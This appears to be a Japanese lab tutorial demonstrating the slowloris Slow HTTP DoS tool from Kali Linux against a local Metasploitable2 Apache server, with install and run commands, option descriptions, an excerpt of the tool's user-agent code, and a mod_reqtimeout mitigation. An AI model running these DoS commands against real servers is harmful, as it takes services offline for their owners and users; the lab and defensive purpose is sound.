slowlorisでSlow HTTP DoS攻撃を試す

# 注意

:::note alert
**必ずローカル環境で実行してください。**
:::

# 環境

攻撃者マシン
- Kali Linux

ターゲットマシン
- metasploitable2

# slowlorisとは

Slow HTTP Headers Attackを用いたDos攻撃ツール。
Slow HTTP Headers Attackは、待機時間を挟みながら、長大なHTTPリクエストヘッダを送信し続けることにより、TCPセッションの占有を図る攻撃手法。

https://github.com/gkbrk/slowloris/tree/master

# slowlorisのインストール

```bash
git clone https://github.com/gkbrk/slowloris.git
```

インストール後のファイル構成。
![slowlorisインストール完了スクショ.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/db126914-4d54-1f7c-c9f0-106b0537d3b5.png)

# 攻撃前Webページ

metasploitable2でApache/2.2.8を動かしている。
![実行前ウェブサイト.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/fc33fea9-a5bf-1795-29d7-0bb28e8606a8.png)

# オプション

<dl>
    <dt>-p</dt>
    <dd>ターゲットWebサーバーのポート。通常では80。</dd>
    <dt>-s</dt>
    <dd>使用するソケット数。</dd>
    <dt>-v</dt>
    <dd>ロギング (端末上の出力) を増加します。</dd>
    <dt>-ua</dt>
    <dd>リクエストごとにユーザーエージェントをランダム化します。</dd>
    <dt>-x</dt>
    <dd>接続には SOCKS5 プロキシを使用します。</dd>
    <dt>--https</dt>
    <dd>リクエストにはHTTPSを使用してください。</dd>
    <dt>--sleeptime</dt>
    <dd>各ヘッダーが送信されるまでのスリープ時間。</dd>
</dl>

# 攻撃の実行

```bash
sudo python3 slowloris <target ip address> -s 500
```

ターミナル出力
![実行中ターミナル.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/7f5f0f4d-6229-373c-5686-8d2b5a41d68a.png)

# 攻撃後Webページ

タイムアウト発生。
![実行中ブラウザ.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/5536722a-83f8-5460-4998-318e722935da.png)

# ターゲットサーバーのリソース状況

下記コマンドで接続数確認。
```bash
netstat -tan | grep ':80 ' | awk '{print $6}' | sort | uniq -c
```

実行前
![実行前サーバーコネクション数.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/53150af9-bf13-72f2-1036-18006b0eb1b2.png)
実行後
![実行後サーバーコネクション数.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/5343d43c-d2d3-8a95-de7e-b96fc3ca4602.png)
コネクション数が増加していることが確認できる。


# オプションを付与する

-vの場合
![vオプション追加.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/66671e52-fecb-1891-33be-26a98f1bda24.png)

-uaの場合
![useragent1.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/3110a51a-b76b-8a53-5dec-c76298e68614.png)
![useragent2.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/2f71525d-e28e-10fd-d0e4-75c9cc3ab052.png)
![useragent3.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/8910018e-3bec-633b-cc6c-01bc785064da.png)
User-Agentが下記リストの中からランダムに変化していることが確認できる。

```slowloris.py
user_agents = [
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Safari/602.1.50",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:49.0) Gecko/20100101 Firefox/49.0",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/602.2.14 (KHTML, like Gecko) Version/10.0.1 Safari/602.2.14",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Safari/602.1.50",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36 Edge/14.14393",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0",
    "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0",
    "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
    "Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0",
    "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:49.0) Gecko/20100101 Firefox/49.0",
]
```

下記の処理で-uaオプションがある時にUser-Agentをランダムにセットしている。

```slowloris.py
ua = user_agents[0]
if args.randuseragent:
    ua = random.choice(user_agents)

s.send_header("User-Agent", ua)
s.send_header("Accept-language", "en-US,en,q=0.5")
return s
```

# 対策

**「mod_reqtimeout」モジュールでの対策**
Apache 2.2.15以降に追加された「mod_reqtimeout」モジュールを設定ファイルに追記。
リクエストのヘッダーとボディの受信時間を設定。
クライアントが時間内に送信できない場合は、408 Request Timeoutエラーが送信されるため、サービス拒否攻撃が防止できる。

今回はAlmaLinux上でApache/2.4.37を起動。
下記を追記。

```/etc/httpd/conf/httpd.conf
<ifModule reqtimeout_module>
   RequestReadTimeout header=10 body=30
</ifModule>
```

:::note info
対策はあくまで一例です。
他サイトで「mod_noloris」や「mod_antiloris」モジュールでの対策が記載されていたが、Apache/2.4では該当モジュールは実装されていない。
:::

# 参考サイト

https://siteguard.jp-secure.com/blog/what-is-slowloris-attack

https://httpd.apache.org/docs/2.4/mod/mod_reqtimeout.html

https://www.jstage.jst.go.jp/article/jacn/20/1/20_JACN20-1-16/_pdf/-char/ja

https://docs.oracle.com/cd/F23552_01/web-tier/12.2.1.4/secure-ohs/protecting-oracle-http-server-known-web-server-attacks.html#GUID-1CC783A3-6CCD-4E8B-9CD5-AF17A7F8C849